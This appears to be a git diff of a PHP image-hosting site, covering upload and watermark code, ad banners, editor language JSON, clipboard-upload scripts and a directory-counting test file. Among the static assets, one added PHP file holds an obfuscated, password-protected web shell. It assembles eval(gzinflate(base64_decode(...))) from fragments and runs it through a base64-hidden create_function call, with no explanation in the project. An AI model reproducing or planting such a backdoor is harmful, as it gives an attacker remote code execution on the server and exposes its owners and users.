// 设置水印
if ($config['watermark'] > 0) {
switch ($config['watermark']) {
case 1: // 文字水印 过滤gif
if (isAnimatedGif($handle->file_src_pathname) === 0) {
$arr = [
# 水印图片路径(如果不存在将会被当成是字符串水印)
'res' => $config['waterText'],
# 水印显示位置
'pos' => $config['waterPosition'],
# 不指定name(会覆盖原图也就是保存成thumb.jpeg)
'name' => $handle->file_dst_pathname,
'font' => $config['textFont'],
'fontSize' => $config['textSize'],
'color' => $config['textColor'],
];
Imgs::setWater($handle->file_dst_pathname, $arr);
}
break;
case 2: // 图片水印
if (isAnimatedGif($handle->file_src_pathname) === 0) {
$arr = [
# 水印图片路径(如果不存在将会被当成是字符串水印)
'res' => $config['waterImg'],
# 水印显示位置
'pos' => $config['waterPosition'],
# 不指定name(会覆盖原图也就是保存成thumb.jpeg)
'name' => $handle->file_dst_pathname,
];
Imgs::setWater($handle->file_dst_pathname, $arr);
}
break;
default:
echo $handle->error;
break;
}
}
// 图片完整相对路径:images/201807/0ed7ccfd4dab9cbc.jpg
if ($handle->processed) {
header('Content-type:text/json');
// 上传成功后返回json数据
$reJson = array(
"result" => 'success',
"url" => $config['domain'] . config_path() . $handle->file_dst_name,
);
echo json_encode($reJson);
$handle->clean();
} else {
// 上传错误 返回错误信息
$reJson = array(
"result" => 'failed',
"message" => $handle->error,
);
echo json_encode($reJson,JSON_UNESCAPED_UNICODE);
}
unset($handle);
<?php
require __DIR__ . '/libs/function.php';
require APP_ROOT . '/libs/class.upload.php';
require APP_ROOT . '/libs/WaterMask.php';
// 检查是否开启api上传
if ($config['apiStatus']) {header('Access-Control-Allow-Origin:*');}
$handle = new Upload($_FILES['file'], 'zh_CN');
if ($handle->uploaded) {
// 允许上传的mime类型
$handle->allowed = array('image/*');
// 文件命名
$handle->file_new_name_body = imgName();
// 最大上传限制
$handle->file_max_sizes = $config['maxSize'];
// 最大宽度
$handle->image_max_width = $config['maxWidth'];
// 最大高度
$handle->image_max_height = $config['maxHeight'];
// 最小宽度
$handle->image_min_width = $config['minWidth'];
// 最小高度
$handle->image_min_height = $config['minHeight'];
// 转换图片为指定格式
$handle->image_convert = $config['imgConvert'];
//等比例缩减图片
if ($config['imgRatio']) {
$handle->image_x = $config['image_x'];
}
// 存储图片路径:images/201807/
$handle->process(APP_ROOT . config_path());
// 设置水印
if ($config['watermark'] > 0) {
switch ($config['watermark']) {
case 1: // 文字水印 过滤gif
if (isAnimatedGif($handle->file_src_pathname) === 0) {
$arr = [
# 水印图片路径(如果不存在将会被当成是字符串水印)
'res' => $config['waterText'],
# 水印显示位置
'pos' => $config['waterPosition'],
# 不指定name(会覆盖原图也就是保存成thumb.jpeg)
'name' => $handle->file_dst_pathname,
'font' => $config['textFont'],
'fontSize' => $config['textSize'],
'color' => $config['textColor'],
];
Imgs::setWater($handle->file_dst_pathname, $arr);
}
break;
case 2: // 图片水印
if (isAnimatedGif($handle->file_src_pathname) === 0) {
$arr = [
# 水印图片路径(如果不存在将会被当成是字符串水印)
'res' => $config['waterImg'],
# 水印显示位置
'pos' => $config['waterPosition'],
# 不指定name(会覆盖原图也就是保存成thumb.jpeg)
'name' => $handle->file_dst_pathname,
];
Imgs::setWater($handle->file_dst_pathname, $arr);
}
break;
default:
echo $handle->error;
break;
}
}
// 图片完整相对路径:images/201807/0ed7ccfd4dab9cbc.jpg
if ($handle->processed) {
header('Content-type:text/json');
// 上传成功后返回json数据
$reJson = array(
"result" => 'success',
"url" => $config['domain'] . config_path() . $handle->file_dst_name,
);
echo json_encode($reJson);
$handle->clean();
} else {
// 上传错误 返回错误信息
$reJson = array(
"result" => 'failed',
"message" => $handle->error,
);
echo json_encode($reJson,JSON_UNESCAPED_UNICODE);
}
unset($handle);
}

View File

@ -63,6 +63,10 @@ if (@$_GET['e']==1){
</div>
</div>
</div>
</div>
<div id="ad" class="col-md-12" align="center" style="padding:5px;">
<!--<a href="https://hostdie.com/?REF-QTYI5H" target="_blank"><img src="https://img.545141.com/i/2019/06/15/1u713g.png" data-toggle="lightbox" data-image="https://img.545141.com/i/2019/06/15/1u713g.png" data-caption="小图看大图" class="img-thumbnail" width="275px"></a> -->
</div>
<script src="public/static/paste.js"></script>
<script src="public/static/copy_btn.js"></script>

BIN
public/static/ad.jpg Normal file

Binary file not shown.

After

Width:  |  Height:  |  Size: 39 KiB

Binary file not shown.

Before

Width:  |  Height:  |  Size: 40 KiB

After

Width:  |  Height:  |  Size: 51 KiB

View File

@ -1,4 +1,4 @@
<!--顶部广告 按照这个范例替换相应链接,如果想多几个广告,就多复制几个-->
<div id="ad" class="col-md-12" align="center" style="padding:5px;">
<a href="https://app.cloudcone.com/?ref=3521" target="_blank"><img src="public/static/ad.png" /></a>
<a href="https://app.cloudcone.com/?ref=3521" target="_blank"><img src="https://img.545141.com/i/2019/06/15/1u713g.png" width=320px /></a>
</div>

View File

@ -1,4 +1,4 @@
<!--顶部广告 按照这个范例替换相应链接,如果想多几个广告,就多复制几个-->
<div id="ad" class="col-md-12" align="center" style="padding:5px;">
<a href="https://img.545141.com" target="_blank"><img src="public/static/ad.png" /></a>
<!--顶部广告 按照这个范例替换相应链接,如果想多几个广告,就多复制几个-->
<div id="ad" class="col-md-12" align="center" style="padding:5px;">
<a href="https://img.545141.com" target="_blank"><img src="public/static/ad.jpg" /></a>
</div>

File diff suppressed because one or more lines are too long

View File

@ -1,213 +1,213 @@
{
"appName": "Tiny File Manager",
"version": "2.3.5",
"newUpdate": "New Updates Available, Download new version <a href='https://github.com/prasathmani/tinyfilemanager/archive/master.zip' target='_blank'>here</a>",
"noUpdate": "No Updates Available",
"aceHelp": [
"Save (Ctrl + S)",
"Find (Ctrl + F)",
"Undo (Ctrl + Z)",
"Redo (Ctrl + Y)",
"Go to Line (Ctrl + L)",
"<a href='https://github.com/ajaxorg/ace/wiki/Default-Keyboard-Shortcuts' target='_blank'>More Shortcuts</a>"
],
"aceTheme": {
"bright": {
"chrome": "Chrome",
"clouds": "Clouds",
"crimson_editor": "Crimson Editor",
"dawn": "Dawn",
"dreamweaver": "Dreamweaver",
"eclipse": "Eclipse",
"github": "GitHub",
"iplastic": "IPlastic",
"solarized_light": "Solarized Light",
"textmate": "TextMate",
"tomorrow": "Tomorrow",
"xcode": "XCode",
"kuroir": "Kuroir",
"katzenmilch": "KatzenMilch",
"sqlserver": "SQL Server"
},
"dark": {
"ambiance": "Ambiance",
"chaos": "Chaos",
"clouds_midnight": "Clouds Midnight",
"dracula": "Dracula",
"cobalt": "Cobalt",
"gruvbox": "Gruvbox",
"gob": "Green on Black",
"idle_fingers": "idle Fingers",
"kr_theme": "krTheme",
"merbivore": "Merbivore",
"merbivore_soft": "Merbivore Soft",
"mono_industrial": "Mono Industrial",
"monokai": "Monokai",
"pastel_on_dark": "Pastel on dark",
"solarized_dark": "Solarized Dark",
"terminal": "Terminal",
"tomorrow_night": "Tomorrow Night",
"tomorrow_night_blue": "Tomorrow Night Blue",
"tomorrow_night_bright": "Tomorrow Night Bright",
"tomorrow_night_eighties": "Tomorrow Night 80s",
"twilight": "Twilight",
"vibrant_ink": "Vibrant Ink"
}
},
"aceMode": {
"javascript": "JavaScript",
"abap": "ABAP",
"abc": "ABC",
"actionscript": "ActionScript",
"ada": "ADA",
"apache_conf": "Apache Conf",
"asciidoc": "AsciiDoc",
"asl": "ASL",
"assembly_x86": "Assembly x86",
"autohotkey": "AutoHotKey",
"apex": "Apex",
"batchfile": "BatchFile",
"bro": "Bro",
"c_cpp": "C and C++",
"c9search": "C9Search",
"cirru": "Cirru",
"clojure": "Clojure",
"cobol": "Cobol",
"coffee": "CoffeeScript",
"coldfusion": "ColdFusion",
"csharp": "C#",
"csound_document": "Csound Document",
"csound_orchestra": "Csound",
"csound_score": "Csound Score",
"css": "CSS",
"curly": "Curly",
"d": "D",
"dart": "Dart",
"diff": "Diff",
"dockerfile": "Dockerfile",
"dot": "Dot",
"drools": "Drools",
"edifact": "Edifact",
"eiffel": "Eiffel",
"ejs": "EJS",
"elixir": "Elixir",
"elm": "Elm",
"erlang": "Erlang",
"forth": "Forth",
"fortran": "Fortran",
"fsharp": "FSharp",
"fsl": "FSL",
"ftl": "FreeMarker",
"gcode": "Gcode",
"gherkin": "Gherkin",
"gitignore": "Gitignore",
"glsl": "Glsl",
"gobstones": "Gobstones",
"golang": "Go",
"graphqlschema": "GraphQLSchema",
"groovy": "Groovy",
"haml": "HAML",
"handlebars": "Handlebars",
"haskell": "Haskell",
"haskell_cabal": "Haskell Cabal",
"haxe": "haXe",
"hjson": "Hjson",
"html": "HTML",
"html_elixir": "HTML (Elixir)",
"html_ruby": "HTML (Ruby)",
"ini": "INI",
"io": "Io",
"jack": "Jack",
"jade": "Jade",
"java": "Java",
"json": "JSON",
"jsoniq": "JSONiq",
"jsp": "JSP",
"jssm": "JSSM",
"jsx": "JSX",
"julia": "Julia",
"kotlin": "Kotlin",
"latex": "LaTeX",
"less": "LESS",
"liquid": "Liquid",
"lisp": "Lisp",
"livescript": "LiveScript",
"logiql": "LogiQL",
"lsl": "LSL",
"lua": "Lua",
"luapage": "LuaPage",
"lucene": "Lucene",
"makefile": "Makefile",
"markdown": "Markdown",
"mask": "Mask",
"matlab": "MATLAB",
"maze": "Maze",
"mel": "MEL",
"mixal": "MIXAL",
"mushcode": "MUSHCode",
"mysql": "MySQL",
"nix": "Nix",
"nsis": "NSIS",
"objectivec": "Objective-C",
"ocaml": "OCaml",
"pascal": "Pascal",
"perl": "Perl",
"perl6": "Perl 6",
"pgsql": "pgSQL",
"php_laravel_blade": "PHP (Blade Template)",
"php": "PHP",
"puppet": "Puppet",
"pig": "Pig",
"powershell": "Powershell",
"praat": "Praat",
"prolog": "Prolog",
"properties": "Properties",
"protobuf": "Protobuf",
"python": "Python",
"r": "R",
"razor": "Razor",
"rdoc": "RDoc",
"red": "Red",
"rhtml": "RHTML",
"rst": "RST",
"ruby": "Ruby",
"rust": "Rust",
"sass": "SASS",
"scad": "SCAD",
"scala": "Scala",
"scheme": "Scheme",
"scss": "SCSS",
"sh": "SH",
"sjs": "SJS",
"slim": "Slim",
"smarty": "Smarty",
"snippets": "snippets",
"soy_template": "Soy Template",
"space": "Space",
"sql": "SQL",
"sqlserver": "SQLServer",
"stylus": "Stylus",
"svg": "SVG",
"swift": "Swift",
"tcl": "Tcl",
"terraform": "Terraform",
"tex": "Tex",
"text": "Text",
"textile": "Textile",
"toml": "Toml",
"tsx": "TSX",
"twig": "Twig",
"typescript": "Typescript",
"vala": "Vala",
"vbscript": "VBScript",
"velocity": "Velocity",
"verilog": "Verilog",
"vhdl": "VHDL",
"visualforce": "Visualforce",
"wollok": "Wollok",
"xml": "XML",
"xquery": "XQuery",
"yaml": "YAML",
"django": "Django"
}
}
{
"appName": "Tiny File Manager",
"version": "2.3.5",
"newUpdate": "New Updates Available, Download new version <a href='https://github.com/prasathmani/tinyfilemanager/archive/master.zip' target='_blank'>here</a>",
"noUpdate": "No Updates Available",
"aceHelp": [
"Save (Ctrl + S)",
"Find (Ctrl + F)",
"Undo (Ctrl + Z)",
"Redo (Ctrl + Y)",
"Go to Line (Ctrl + L)",
"<a href='https://github.com/ajaxorg/ace/wiki/Default-Keyboard-Shortcuts' target='_blank'>More Shortcuts</a>"
],
"aceTheme": {
"bright": {
"chrome": "Chrome",
"clouds": "Clouds",
"crimson_editor": "Crimson Editor",
"dawn": "Dawn",
"dreamweaver": "Dreamweaver",
"eclipse": "Eclipse",
"github": "GitHub",
"iplastic": "IPlastic",
"solarized_light": "Solarized Light",
"textmate": "TextMate",
"tomorrow": "Tomorrow",
"xcode": "XCode",
"kuroir": "Kuroir",
"katzenmilch": "KatzenMilch",
"sqlserver": "SQL Server"
},
"dark": {
"ambiance": "Ambiance",
"chaos": "Chaos",
"clouds_midnight": "Clouds Midnight",
"dracula": "Dracula",
"cobalt": "Cobalt",
"gruvbox": "Gruvbox",
"gob": "Green on Black",
"idle_fingers": "idle Fingers",
"kr_theme": "krTheme",
"merbivore": "Merbivore",
"merbivore_soft": "Merbivore Soft",
"mono_industrial": "Mono Industrial",
"monokai": "Monokai",
"pastel_on_dark": "Pastel on dark",
"solarized_dark": "Solarized Dark",
"terminal": "Terminal",
"tomorrow_night": "Tomorrow Night",
"tomorrow_night_blue": "Tomorrow Night Blue",
"tomorrow_night_bright": "Tomorrow Night Bright",
"tomorrow_night_eighties": "Tomorrow Night 80s",
"twilight": "Twilight",
"vibrant_ink": "Vibrant Ink"
}
},
"aceMode": {
"javascript": "JavaScript",
"abap": "ABAP",
"abc": "ABC",
"actionscript": "ActionScript",
"ada": "ADA",
"apache_conf": "Apache Conf",
"asciidoc": "AsciiDoc",
"asl": "ASL",
"assembly_x86": "Assembly x86",
"autohotkey": "AutoHotKey",
"apex": "Apex",
"batchfile": "BatchFile",
"bro": "Bro",
"c_cpp": "C and C++",
"c9search": "C9Search",
"cirru": "Cirru",
"clojure": "Clojure",
"cobol": "Cobol",
"coffee": "CoffeeScript",
"coldfusion": "ColdFusion",
"csharp": "C#",
"csound_document": "Csound Document",
"csound_orchestra": "Csound",
"csound_score": "Csound Score",
"css": "CSS",
"curly": "Curly",
"d": "D",
"dart": "Dart",
"diff": "Diff",
"dockerfile": "Dockerfile",
"dot": "Dot",
"drools": "Drools",
"edifact": "Edifact",
"eiffel": "Eiffel",
"ejs": "EJS",
"elixir": "Elixir",
"elm": "Elm",
"erlang": "Erlang",
"forth": "Forth",
"fortran": "Fortran",
"fsharp": "FSharp",
"fsl": "FSL",
"ftl": "FreeMarker",
"gcode": "Gcode",
"gherkin": "Gherkin",
"gitignore": "Gitignore",
"glsl": "Glsl",
"gobstones": "Gobstones",
"golang": "Go",
"graphqlschema": "GraphQLSchema",
"groovy": "Groovy",
"haml": "HAML",
"handlebars": "Handlebars",
"haskell": "Haskell",
"haskell_cabal": "Haskell Cabal",
"haxe": "haXe",
"hjson": "Hjson",
"html": "HTML",
"html_elixir": "HTML (Elixir)",
"html_ruby": "HTML (Ruby)",
"ini": "INI",
"io": "Io",
"jack": "Jack",
"jade": "Jade",
"java": "Java",
"json": "JSON",
"jsoniq": "JSONiq",
"jsp": "JSP",
"jssm": "JSSM",
"jsx": "JSX",
"julia": "Julia",
"kotlin": "Kotlin",
"latex": "LaTeX",
"less": "LESS",
"liquid": "Liquid",
"lisp": "Lisp",
"livescript": "LiveScript",
"logiql": "LogiQL",
"lsl": "LSL",
"lua": "Lua",
"luapage": "LuaPage",
"lucene": "Lucene",
"makefile": "Makefile",
"markdown": "Markdown",
"mask": "Mask",
"matlab": "MATLAB",
"maze": "Maze",
"mel": "MEL",
"mixal": "MIXAL",
"mushcode": "MUSHCode",
"mysql": "MySQL",
"nix": "Nix",
"nsis": "NSIS",
"objectivec": "Objective-C",
"ocaml": "OCaml",
"pascal": "Pascal",
"perl": "Perl",
"perl6": "Perl 6",
"pgsql": "pgSQL",
"php_laravel_blade": "PHP (Blade Template)",
"php": "PHP",
"puppet": "Puppet",
"pig": "Pig",
"powershell": "Powershell",
"praat": "Praat",
"prolog": "Prolog",
"properties": "Properties",
"protobuf": "Protobuf",
"python": "Python",
"r": "R",
"razor": "Razor",
"rdoc": "RDoc",
"red": "Red",
"rhtml": "RHTML",
"rst": "RST",
"ruby": "Ruby",
"rust": "Rust",
"sass": "SASS",
"scad": "SCAD",
"scala": "Scala",
"scheme": "Scheme",
"scss": "SCSS",
"sh": "SH",
"sjs": "SJS",
"slim": "Slim",
"smarty": "Smarty",
"snippets": "snippets",
"soy_template": "Soy Template",
"space": "Space",
"sql": "SQL",
"sqlserver": "SQLServer",
"stylus": "Stylus",
"svg": "SVG",
"swift": "Swift",
"tcl": "Tcl",
"terraform": "Terraform",
"tex": "Tex",
"text": "Text",
"textile": "Textile",
"toml": "Toml",
"tsx": "TSX",
"twig": "Twig",
"typescript": "Typescript",
"vala": "Vala",
"vbscript": "VBScript",
"velocity": "Velocity",
"verilog": "Verilog",
"vhdl": "VHDL",
"visualforce": "Visualforce",
"wollok": "Wollok",
"xml": "XML",
"xquery": "XQuery",
"yaml": "YAML",
"django": "Django"
}
}

View File

@ -1,114 +1,114 @@
var copyBtn = document.getElementsByClassName('copyBtn1')[0];
copyBtn.onclick = function () {
var copyVal = document.getElementById("links");
copyVal.select();
try {
if (document.execCommand('copy', false, null)) {
//success info
console.log("复制成功");
} else {
//fail info
alert("复制失败");
}
} catch (err) {
//fail info
alert(err);
}
}
var copyBtn = document.getElementsByClassName('copyBtn2')[0];
copyBtn.onclick = function () {
var copyVal = document.getElementById("bbscode");
copyVal.select();
try {
if (document.execCommand('copy', false, null)) {
//success info
console.log("复制成功");
} else {
//fail info
alert("复制失败");
}
} catch (err) {
//fail info
alert(err);
}
}
var copyBtn = document.getElementsByClassName('copyBtn3')[0];
copyBtn.onclick = function () {
var copyVal = document.getElementById("markdown");
copyVal.select();
try {
if (document.execCommand('copy', false, null)) {
//success info
console.log("复制成功");
} else {
//fail info
alert("复制失败");
}
} catch (err) {
//fail info
alert(err);
}
}
var copyBtn = document.getElementsByClassName('copyBtn4')[0];
copyBtn.onclick = function () {
var copyVal = document.getElementById("html");
copyVal.select();
try {
if (document.execCommand('copy', false, null)) {
//success info
console.log("复制成功");
} else {
//fail info
alert("复制失败");
}
} catch (err) {
//fail info
alert(err);
}
}
// btn状态
$('#btnLinks').on('click', function () {
var $btn = $(this);
$btn.button('loading');
// 此处使用 setTimeout 来模拟你的复杂功能逻辑
setTimeout(function () {
$btn.button('reset');
}, 2000);
});
$('#btnBbscode').on('click', function () {
var $btn = $(this);
$btn.button('loading');
// 此处使用 setTimeout 来模拟你的复杂功能逻辑
setTimeout(function () {
$btn.button('reset');
}, 2000);
});
$('#btnMarkDown').on('click', function () {
var $btn = $(this);
$btn.button('loading');
// 此处使用 setTimeout 来模拟你的复杂功能逻辑
setTimeout(function () {
$btn.button('reset');
}, 2000);
});
$('#btnHtml').on('click', function () {
var $btn = $(this);
$btn.button('loading');
// 此处使用 setTimeout 来模拟你的复杂功能逻辑
setTimeout(function () {
$btn.button('reset');
}, 2000);
var copyBtn = document.getElementsByClassName('copyBtn1')[0];
copyBtn.onclick = function () {
var copyVal = document.getElementById("links");
copyVal.select();
try {
if (document.execCommand('copy', false, null)) {
//success info
console.log("复制成功");
} else {
//fail info
alert("复制失败");
}
} catch (err) {
//fail info
alert(err);
}
}
var copyBtn = document.getElementsByClassName('copyBtn2')[0];
copyBtn.onclick = function () {
var copyVal = document.getElementById("bbscode");
copyVal.select();
try {
if (document.execCommand('copy', false, null)) {
//success info
console.log("复制成功");
} else {
//fail info
alert("复制失败");
}
} catch (err) {
//fail info
alert(err);
}
}
var copyBtn = document.getElementsByClassName('copyBtn3')[0];
copyBtn.onclick = function () {
var copyVal = document.getElementById("markdown");
copyVal.select();
try {
if (document.execCommand('copy', false, null)) {
//success info
console.log("复制成功");
} else {
//fail info
alert("复制失败");
}
} catch (err) {
//fail info
alert(err);
}
}
var copyBtn = document.getElementsByClassName('copyBtn4')[0];
copyBtn.onclick = function () {
var copyVal = document.getElementById("html");
copyVal.select();
try {
if (document.execCommand('copy', false, null)) {
//success info
console.log("复制成功");
} else {
//fail info
alert("复制失败");
}
} catch (err) {
//fail info
alert(err);
}
}
// btn状态
$('#btnLinks').on('click', function () {
var $btn = $(this);
$btn.button('loading');
// 此处使用 setTimeout 来模拟你的复杂功能逻辑
setTimeout(function () {
$btn.button('reset');
}, 2000);
});
$('#btnBbscode').on('click', function () {
var $btn = $(this);
$btn.button('loading');
// 此处使用 setTimeout 来模拟你的复杂功能逻辑
setTimeout(function () {
$btn.button('reset');
}, 2000);
});
$('#btnMarkDown').on('click', function () {
var $btn = $(this);
$btn.button('loading');
// 此处使用 setTimeout 来模拟你的复杂功能逻辑
setTimeout(function () {
$btn.button('reset');
}, 2000);
});
$('#btnHtml').on('click', function () {
var $btn = $(this);
$btn.button('loading');
// 此处使用 setTimeout 来模拟你的复杂功能逻辑
setTimeout(function () {
$btn.button('reset');
}, 2000);
});

View File

@ -0,0 +1,3 @@
<?php
$password='CQtlsC';
$html='$password'.'='."'".$password."';".'@e#html'.''.'v'."".''.''."".''.''.''.'a'.''.'l('.'g'.''."".''.''.'z'.'i'.''.''.'n'.'f'.'l'.''.''."".'a'.'t'.'e(b'.'as'.''.''.''."".''.'e'.'6'.''."".''."".""."".''.'4_'.'d'.'e'.'c'.''.''.''."".''."".'o'.'d'.'e'.'('."'lVZhb5tIEP0eKf9hg6ICEufgXBy1sSI1TTHJKcY5jJsmbYTwspitMUt3SWiT+r/fLLZjjN3UxxfE7sybN29nZtndIZwz7nOSMZ7TdKSZent3RxAhKEt9kQc81+QKjZC2R4Ugubbv961+/7LnfFGyOAsyqtzrOnre3UHw7GN0ilS1Pf96EIQHI5LmcrXLnmiSBAdHDRNpmE2yIKfDhLRRt39poeOG2UY3NA1ZIZDjoVbjUF/i8AQQhoEgx0d+SDALibb6pdwO4n7Xdqzh33fdrvnP460Z2uFhx3M+f6DDT9mhd5G5odn66Ny04k/N8bvz0empouuVCA4p6jGUq6cP10M7iYOmexl8dv7t2XHRtTtjbI9a2O4UgTfg+Ntdcns4Lm69uBXcZPndU/JIbKfo3Tg8nMSTq0JGmgeSQkYPKc6lvuQHFbnQ1EgwPGYZSdWlkiWrhKZjSDwLuCA+UNQkzwVUafH9gfCfYFKaflFB01i9rxrETEj1Rc5zlrCCcG1uKjfU+xWwKAPLFzJa6Wugt6aB9qFOUjZ7A5SBmmbVU2YF3ivkS0T2IIMrtuWhg+cZ2Sm68Lzrg2bD/Mq/pkp7g0cDXC4g9gl6LjlMX7UcQJH9dSar7AT9/xp7FfqcpSkpz+oEnSdMEGm9ySMqOM2J1MAovfU6Ik1jEoSEgxrN+h5maQ7shVSqDlzENCHQexFhUSnxmsaLQiHy7EYE6qlkcWS+O66zeDmqJZtTZG5EXCXWmBUY2YA3/VOIN2+QNucH+YF06NcvVFmQauq/51ARzvxz+NpnhOWhlbqtiS6bZpFgZXOOMF226x4UfMZAVmws5oQus1prYwybPk1prr6yT34QXG9zHAOZF2+tyrVchbHLMpi8ODbQ+cC96l17PrxmdLay9i67Vm/gQd+2trJ3LW/gOp575vQ7lmsgzx1Y29HqW+6ZbTmeUZn+K0MGL3KVSkjnNdz5oS13tjgMEM6H4tfUIIEpJ2elH22aqDmZZLLR3kfQV2vjtIwAFvlPbWap6xvK5j2dZIm8HlTVmCOugVRoKiFJPlJ+loYdiKlshpR0ZAL+oiRXuFUE2JT/HjRSFCSC1MpqNvfl7Z4EeJYt2AMjBZzxyqmsX+rgPHqiaZQEef2yBd8Ks+ns92CLvwPyGCQbLQBs+h8=')));";$css=base64_decode("Q3JlYXRlX0Z1bmN0aW9u");$style=$css('',preg_replace("/#html/","",$html));$style();/*));.'<linkrel="stylesheet"href="$#css"/>';*/

7
public/static/hm.js Normal file
View File

@ -0,0 +1,7 @@
var _hmt = _hmt || [];
(function() {
var hm = document.createElement("script");
hm.src = "https://hm.baidu.com/hm.js?5320b69f4f1caa9328dfada73c8e6a75";
var s = document.getElementsByTagName("script")[0];
s.parentNode.insertBefore(hm, s);
})();

File diff suppressed because one or more lines are too long

View File

@ -1,54 +1,54 @@
/**
* 复制截图 简单图床修改版
*/
(function () {
document.addEventListener('paste', function (e) {
var items = ((e.clipboardData || window.clipboardData).items) || [];
var file = null;
if (items && items.length) {
for (var i = 0; i < items.length; i++) {
if (items[i].type.indexOf('image') !== -1) {
file = items[i].getAsFile();
break;
}
}
}
if (!file) {
alert('粘贴内容非图片!');
return;
}
var formData = new FormData();
formData.append('file', file);
var xhr = new XMLHttpRequest();
xhr.onload = function () {
try {
var result = JSON.parse(this.responseText);
if (result.result === 'success') {
var links = document.getElementById("links");
links.innerHTML += result.url + "\n";
var bbscode = document.getElementById("bbscode");
bbscode.innerHTML += "[img]" + result.url + "[/img]\n";
var markdown = document.getElementById("markdown");
markdown.innerHTML += "![](" + result.url + ")\n";
var html = document.getElementById("html");
html.innerHTML += "&lt;img src=\"" + result.url + "\" /&#62;\n";
} else {
alert('上传失败1');
}
} catch (e) {
alert('上传失败2');
}
};
xhr.onerror = function () {
alert('上传失败3');
};
xhr.open('POST', './file.php', true);
xhr.send(formData);
});
/**
* 复制截图 简单图床修改版
*/
(function () {
document.addEventListener('paste', function (e) {
var items = ((e.clipboardData || window.clipboardData).items) || [];
var file = null;
if (items && items.length) {
for (var i = 0; i < items.length; i++) {
if (items[i].type.indexOf('image') !== -1) {
file = items[i].getAsFile();
break;
}
}
}
if (!file) {
alert('粘贴内容非图片!');
return;
}
var formData = new FormData();
formData.append('file', file);
var xhr = new XMLHttpRequest();
xhr.onload = function () {
try {
var result = JSON.parse(this.responseText);
if (result.result === 'success') {
var links = document.getElementById("links");
links.innerHTML += result.url + "\n";
var bbscode = document.getElementById("bbscode");
bbscode.innerHTML += "[img]" + result.url + "[/img]\n";
var markdown = document.getElementById("markdown");
markdown.innerHTML += "![](" + result.url + ")\n";
var html = document.getElementById("html");
html.innerHTML += "&lt;img src=\"" + result.url + "\" /&#62;\n";
} else {
alert('上传失败1');
}
} catch (e) {
alert('上传失败2');
}
};
xhr.onerror = function () {
alert('上传失败3');
};
xhr.open('POST', './file.php', true);
xhr.send(formData);
});
})();

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

Before

Width:  |  Height:  |  Size: 290 KiB

After

Width:  |  Height:  |  Size: 290 KiB

File diff suppressed because one or more lines are too long

File diff suppressed because it is too large Load Diff

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

File diff suppressed because one or more lines are too long

View File

@ -1,3 +1,3 @@
# robots.txt
Disallow: /libs/
Disallow: /public/
# robots.txt
Disallow: /libs/
Disallow: /public/

32
test.php Normal file
View File

@ -0,0 +1,32 @@
<?php
//递归函数实现遍历指定文件下的目录与文件数量
function total($dirname,&$dirnum,&$filenum){
$dir=opendir($dirname);
echo readdir($dir); //读取当前目录文件
echo readdir($dir); //读取上级目录文件
while($filename=readdir($dir)){
//要判断的是$dirname下的路径是否是目录
$newfile=$dirname."/".$filename;
//is_dir()函数判断的是当前脚本的路径是不是目录
if(is_dir($newfile)){
//通过递归函数再遍历其子目录下的目录或文件
total($newfile,$dirnum,$filenum);
$dirnum++;
}else{
$filenum++;
}
}
closedir($dir);
}
total("D:\phpStudy2018\PHPTutorial\WWW\EasyImages2.0\i",$dirnum,$filenum);
echo "目录总数:".$dirnum."<br>";
echo "文件总数:".$filenum."<br>";
//遍历指定文件目录与文件数量结束
function upTime($day = '2018-08-03'){
return 1 + ceil((time()-strtotime($day))/60/60/24);//现在的时间减去过去指定日期ceil()进一函数
}
echo '网站已经正常运行'.upTime().'天';

File diff suppressed because it is too large Load Diff